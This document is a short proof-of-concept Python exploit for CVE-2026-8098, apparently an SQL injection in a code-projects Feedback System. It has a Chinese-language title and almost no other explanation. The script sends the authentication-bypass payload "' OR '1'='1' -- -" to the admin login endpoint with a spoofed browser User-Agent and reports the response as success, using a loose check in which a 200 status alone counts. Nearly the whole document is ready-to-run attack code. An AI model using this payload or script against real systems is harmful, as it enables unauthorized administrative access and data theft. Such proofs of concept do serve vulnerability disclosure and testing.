CVE-2026-8098 code-projects Feedback System SQL注入漏洞

import requests def check_sqli(url): # Target endpoint based on vulnerability description target_url = f"{url}/admin/checklogin.php" # SQL Injection payload to bypass login or extract data # Example: Admin authentication bypass payload_data = { "email": "' OR '1'='1' -- -", "password": "random" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Send POST request with malicious payload response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if the injection was successful (indicators may vary) if response.status_code == 200 or "admin" in response.text.lower(): print("[+] Potential SQL Injection vulnerability detected!") print(f"[+] Response: {response.text[:200]}") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1" # Replace with actual target check_sqli(target_ip)